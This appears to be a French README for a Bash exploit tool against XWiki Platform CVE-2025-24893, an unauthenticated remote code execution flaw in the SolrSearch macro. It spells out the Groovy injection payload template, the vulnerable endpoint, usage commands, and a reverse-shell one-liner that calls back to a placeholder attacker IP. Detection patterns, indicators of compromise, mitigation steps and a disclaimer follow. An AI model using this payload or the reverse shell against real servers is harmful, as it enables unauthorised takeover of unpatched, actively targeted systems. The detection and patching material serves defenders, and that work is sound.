
Présentation
Ce script est une implémentation Bash remaniée d'un exploit ciblant les versions de XWiki Platform affectées par CVE-2025-24893. Il exploite une vulnérabilité critique d'exécution de code à distance non authentifiée qui permet à un attaquant d'exécuter du code Groovy arbitraire via une faille d'injection de template dans la macro SolrSearch.
Les implémentations originales de l'exploit en Python ont été créées par divers chercheurs en sécurité et sont adaptées ici pour les utilisateurs Bash avec une exécution simplifiée et une meilleure ergonomie.
Détails de la vulnérabilité
- Découvreur : John Kwak (Trend Micro's Zero Day Initiative)
- CVE : CVE-2025-24893
- Score CVSS : 9.8 (Critique)
- Références :
- Description : La vulnérabilité provient d'une désinfection incorrecte des entrées dans la macro SolrSearch de XWiki Platform. La macro ne valide ni ne désinfecte correctement les entrées fournies par l'utilisateur dans le paramètre
text lorsqu'elle est consultée via le point de terminaison RSS media, permettant à un attaquant d'injecter du code Groovy malveillant dans le pipeline de rendu sans authentification.
Versions affectées et corrigées
Versions affectées
- XWiki Platform : 5.3-milestone-2 jusqu'à 15.10.10
- XWiki Platform : 16.0.0-rc-1 jusqu'à 16.4.0
Versions corrigées
- XWiki 15.10.11 ou ultérieur
- XWiki 16.4.1 ou ultérieur
- XWiki 16.5.0RC1 ou ultérieur
Fonctionnalités
- RCE non authentifié : Exécute des commandes système arbitraires sans authentification.
- Contournement du jeton CSRF : Exploite l'injection de template sans nécessiter de jetons CSRF.
- Exécution en arrière-plan : Exécute les commandes de manière asynchrone sur le serveur cible.
- Interface en ligne de commande simple : Script Bash facile à utiliser avec des dépendances minimales.
Prérequis
- Dépendances :
curl : Pour envoyer des requêtes HTTP.
jq : Pour encoder l'URL de la charge utile.
- Shell Bash.
- Environnement testé : Système d'exploitation Linux avec Bash.
Utilisation
Attribuez les permissions d'exécution :
Exécutez le script avec les arguments requis :
./CVE-2025-24893 <url_cible> <commande>
Paramètres
| Paramètre | Description |
|---|
<url_cible> | L'URL XWiki cible (ex. http://example.com ou https://xwiki.example.org). Le protocole est optionnel. |
<commande> | La commande système à exécuter sur le serveur cible. |
Exemple
Vérifier si la cible est vulnérable (exécuter la commande id) :
./CVE-2025-24893 http://vulnerable-xwiki.example.com "id"
Récupérer les informations système :
./CVE-2025-24893 http://vulnerable-xwiki.example.com "uname -a"
Créer un fichier de test :
./CVE-2025-24893 http://vulnerable-xwiki.example.com "touch /tmp/pwned"
Shell inversé (remplacer par votre IP et port) :
./CVE-2025-24893 http://vulnerable-xwiki.example.com "bash -c 'bash -i >& /dev/tcp/VOTRE_IP/VOTRE_PORT 0>&1'"
Déroulement du script
-
Analyse des arguments en ligne de commande :
- Valide que l'URL cible et la commande sont fournies.
- Normalise l'URL en ajoutant
http:// si aucun protocole n'est spécifié.
-
Construction de la charge utile :
- Construit une charge utile en code Groovy qui exécute la commande spécifiée en utilisant
.execute().
- Enveloppe la charge utile dans la syntaxe de macro XWiki :
}}}{{async async=false}}{{groovy}}<code>{{/groovy}}{{/async}}
-
Encodage URL :
- Encode l'URL de la charge utile avec
jq pour une transmission HTTP correcte.
-
Exploitation :
- Envoie une requête HTTP GET au point de terminaison SolrSearch vulnérable :
/xwiki/bin/get/Main/SolrSearch?media=rss&text=<charge_encodée>
- La commande s'exécute en arrière-plan sur le serveur cible.
Détails techniques
Mécanisme d'exploitation
La chaîne d'exploitation fonctionne comme suit :
- Injection de template : L'attaquant conçoit une charge utile malveillante contenant du code Groovy enveloppé dans la syntaxe de macro XWiki.
- Ciblage du point de terminaison : La charge utile est envoyée au point de terminaison RSS SolrSearch vulnérable.
- Exécution du code : Le code Groovy injecté est exécuté côté serveur sans authentification.
- Compromission du système : L'attaquant obtient une exécution de code arbitraire avec les privilèges de l'application XWiki.
Structure de la charge utile
}}}{{async async=false}}{{groovy}}'<commande>'.execute();{{/groovy}}{{/async}}
}}} - Ferme tout contexte de macro existant
{{async async=false}} - Assure une exécution synchrone
{{groovy}}...{{/groovy}} - Enveloppe le code Groovy malveillant
'<commande>'.execute(); - Exécute la commande système spécifiée
Preuve de concept
Configuration d'un environnement vulnérable
À des fins de test, vous pouvez configurer une instance XWiki vulnérable avec Docker :
docker run -d -p 8080:8080 --name xwiki-vulnerable xwiki:15.10.10
Démonstration d'exploitation
# Attendez que XWiki démarre (peut prendre 1 à 2 minutes)
./CVE-2025-24893 http://localhost:8080 "whoami"
Impact
Une exploitation réussie de cette vulnérabilité permet à un attaquant non authentifié de :
- Exécuter des commandes système arbitraires sur le serveur
- Lire, modifier ou supprimer des données sensibles
- Compromettre l'ensemble de l'installation XWiki
- Pivoter vers d'autres systèmes sur le réseau
- Déployer des mineurs de cryptomonnaie ou d'autres logiciels malveillants
- Établir un accès persistant via une porte dérobée
Exploitation dans la nature
Selon la CISA et plusieurs éditeurs de sécurité :
- Exploitation active : CVE-2025-24893 est activement exploitée dans la nature
- Campagnes d'attaque : VulnCheck a détecté des chaînes d'attaque en deux étapes déployant des mineurs de cryptomonnaie
- Catalogue KEV de la CISA : Ajouté au catalogue des vulnérabilités exploitées connues le 30 octobre 2025
- Scan généralisé : Balayage massif à l'échelle d'Internet à la recherche d'instances vulnérables
Détection et atténuation
Détection
Surveillez les requêtes suspectes vers le point de terminaison SolrSearch :
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=*
Recherchez des motifs contenant :
{{groovy}}
{{async}}
.execute()
- des variantes encodées en URL de ce qui précède
Indicateurs de compromission (IoCs)
- Processus inattendus engendrés par l'utilisateur de l'application XWiki
- Nouveaux fichiers dans
/tmp ou autres répertoires inscriptibles
- Connexions réseau sortantes vers des IP inconnues
- Processus de minage de cryptomonnaie (utilisation élevée du CPU)
Atténuation
-
Mettez à jour XWiki vers une version corrigée :
- Version 15.10.11 ou ultérieure
- Version 16.4.1 ou ultérieure
- Version 16.5.0RC1 ou ultérieure
-
Appliquez des solutions de contournement temporaires (si la mise à jour immédiate n'est pas possible) :
- Restreignez l'accès au point de terminaison SolrSearch via un pare-feu applicatif Web (WAF)
- Désactivez la macro SolrSearch si elle n'est pas nécessaire
- Implémentez une segmentation réseau pour limiter l'exposition
-
Surveillez les compromissions :
- Examinez les journaux à la recherche de tentatives d'exploitation
- Vérifiez les modifications non autorisées de fichiers
- Recherchez les mineurs de cryptomonnaie et les portes dérobées
Limitations
- Les commandes s'exécutent en arrière-plan ; la sortie peut ne pas être immédiatement visible.
- La vérification de l'exécution des commandes nécessite des méthodes par canaux auxiliaires (ex. création de fichiers, connexions réseau).
- Nécessite que la cible ait la macro SolrSearch activée (configuration par défaut).
Crédits
- Découvreur de la vulnérabilité : John Kwak (Trend Micro's Zero Day Initiative)
- Auteurs de l'exploit Python original : Divers chercheurs en sécurité
- Script adapté : Remanié par [0xdtc] Construit en BASH
Avertissement
Ce script est destiné à des fins éducatives uniquement. Toute utilisation non autorisée de cet outil contre des systèmes que vous ne possédez pas ou sans autorisation explicite de test est illégale et contraire à l'éthique. Utilisez-le de manière responsable.
Vous devez avoir une autorisation écrite explicite du propriétaire du système avant de tester.
Le(s) auteur(s) de cet outil ne sont pas responsables de toute mauvaise utilisation ou des dommages causés par ce script. Les utilisateurs sont seuls responsables de s'assurer qu'ils disposent des autorisations appropriées et respectent toutes les lois et réglementations applicables.